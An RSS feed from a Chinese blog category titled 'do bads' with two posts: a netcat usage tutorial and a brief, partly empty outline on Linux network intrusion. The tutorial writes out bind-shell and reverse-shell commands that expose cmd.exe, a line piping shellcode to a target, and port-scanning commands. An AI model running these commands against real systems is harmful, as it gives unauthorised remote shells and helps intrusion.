﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-circle on -文章分类-do bads</title><link>http://www.cppblog.com/silvercell/category/21282.html</link><description>c i really c long e-tool</description><language>zh-cn</language><lastBuildDate>Thu, 13 Jul 2017 06:47:44 GMT</lastBuildDate><pubDate>Thu, 13 Jul 2017 06:47:44 GMT</pubDate><ttl>60</ttl><item><title>netcat 使用常见命令介绍</title><link>http://www.cppblog.com/silvercell/articles/215087.html</link><dc:creator>silvercell</dc:creator><author>silvercell</author><pubDate>Tue, 11 Jul 2017 07:16:00 GMT</pubDate><guid>http://www.cppblog.com/silvercell/articles/215087.html</guid><wfw:comment>http://www.cppblog.com/silvercell/comments/215087.html</wfw:comment><comments>http://www.cppblog.com/silvercell/articles/215087.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/silvercell/comments/commentRss/215087.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/silvercell/services/trackbacks/215087.html</trackback:ping><description><![CDATA[<span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">netcat被誉为网络安全界的&#8216;瑞士军刀'，相信没有什么人不认识它吧......&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">&nbsp; 一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具，</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">&nbsp; 在中国，它的WINDOWS版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由&#8216;红与黑'编译&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">后的新&#8216;浓缩'版。&#8216;浓缩'版的主程序只有10多KB（10多KB的NC是不能完成下面所说的第4、第5种使用方法，</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">有此功能的原版NC好象要60KB：P），虽然"体积"小，但很完成很多工作。&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">=====================================================================================================&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">参数介绍：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">'nc.exe -h'即可看到各参数的使用方法。&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">基本格式：nc [-options] hostname port[s] [ports] ...&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">&nbsp;　　 nc -l -p port [options] [hostname] [port]&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-d 后台模式&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-e prog 程序重定向，一旦连接，就执行 [危险!!]&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-g gateway source-routing hop point[s], up to 8&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-G num source-routing pointer: 4, 8, 12, ...&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-h 帮助信息&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-i secs 延时的间隔&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-l 监听模式，用于入站连接&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-L 连接关闭后,仍然继续监听&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-n 指定数字的IP地址，不能用hostname&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-o file 记录16进制的传输&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-p port 本地端口号&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-r 随机本地及远程端口&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-s addr 本地源地址&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-t 使用TELNET交互方式&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-u UDP模式&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-v 详细输出--用两个-v可得到更详细的内容&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-w secs timeout的时间&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">-z 将输入输出关掉--用于扫描时&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">端口的表示方法可写为M-N的范围格式。&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">=====================================================================================================&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">基本用法：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">大概有以下几种用法：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">1)连接到REMOTE主机，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式：nc -nvv 192.168.x.x 80&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：连到192.168.x.x的TCP80端口&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">2)监听LOCAL主机，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式：nc -l -p 80&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：监听本机的TCP80端口&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">3)扫描远程主机，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式：nc -nvv -w2 -z 192.168.x.x 80-445&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：扫描192.168.x.x的TCP80到TCP445的所有端口&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">4)REMOTE主机绑定SHELL，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">5)REMOTE主机绑定SHELL并反向连接，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">以上为最基本的几种用法（其实NC的用法还有很多，&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">当配合管道命令"|"与重定向命令"&lt;"、"&gt;"等等命令功能更强大......）。&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">=====================================================================================================&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">高级用法：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">6)作攻击程序用，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式2：nc -nvv 192.168.x.x 80 &lt; c:\exploit.txt&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果，</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">&nbsp;　 真是有异曲同工之妙:P)&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">附：'c:\exploit.txt'为shellcode等&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">7)作蜜罐用[1]，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式：nc -L -p 80&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">8)作蜜罐用[2]，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式：nc -L -p 80 &gt; c:\log.txt&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把&#8216;&gt;'&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">&nbsp;　 改为&#8216;&gt;&gt;'即可以追加日志&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">附：'c:\log.txt'为日志等&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">9)作蜜罐用[3]，例子：&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式1：nc -L -p 80 &lt; c:\honeypot.txt&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">格式2：type.exe c:\honeypot.txt|nc -L -p 80&nbsp;</span><br style="background-color: #ffffff; font-family: 宋体; line-height: 18px;" /><span style="background-color: #ffffff; font-family: 宋体; line-height: 18px;">讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:\honeypot.txt'的内容&#8216;送'入其管道中！&nbsp;</span><img src ="http://www.cppblog.com/silvercell/aggbug/215087.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/silvercell/" target="_blank">silvercell</a> 2017-07-11 15:16 <a href="http://www.cppblog.com/silvercell/articles/215087.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> network intrusion in linux</title><link>http://www.cppblog.com/silvercell/articles/215085.html</link><dc:creator>silvercell</dc:creator><author>silvercell</author><pubDate>Tue, 11 Jul 2017 05:41:00 GMT</pubDate><guid>http://www.cppblog.com/silvercell/articles/215085.html</guid><wfw:comment>http://www.cppblog.com/silvercell/comments/215085.html</wfw:comment><comments>http://www.cppblog.com/silvercell/articles/215085.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/silvercell/comments/commentRss/215085.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/silvercell/services/trackbacks/215085.html</trackback:ping><description><![CDATA[<br /><br />【basic node】<br /><ol><li>Linux cmd&nbsp;</li><li>netcat</li><li>scan port and create backdoor</li><li>webbanch and ab high concurrence request ,great data attack</li><li>sql injection and modify</li></ol><br />【details】<br /><br />netcat 工具<br />&nbsp;cat 命令<br />netcat 命令的由来<br /><br /><strong>扫描端口:</strong><br />发现机器上的开发端口<br />nc -z -v -n -w 1 server_ip 1-1000<br /><br /><strong>查看banner:&nbsp;</strong><br />banner: 连接服务器，服务器返回的文本信息 。作用:鉴别服务或漏洞 类别和版本<br />nc -v server_ip<br /><br /><strong>即时通信</strong><br />server: &nbsp; nc &nbsp;-l -p &nbsp;10000<br />client : &nbsp; nc &nbsp; server_ip 10000&nbsp;<br /><br />文件传输<br /><br /><br />更改源<br /><br />指定端口<br /><br /><br /><br /><br /><br /><br /><img src ="http://www.cppblog.com/silvercell/aggbug/215085.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/silvercell/" target="_blank">silvercell</a> 2017-07-11 13:41 <a href="http://www.cppblog.com/silvercell/articles/215085.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>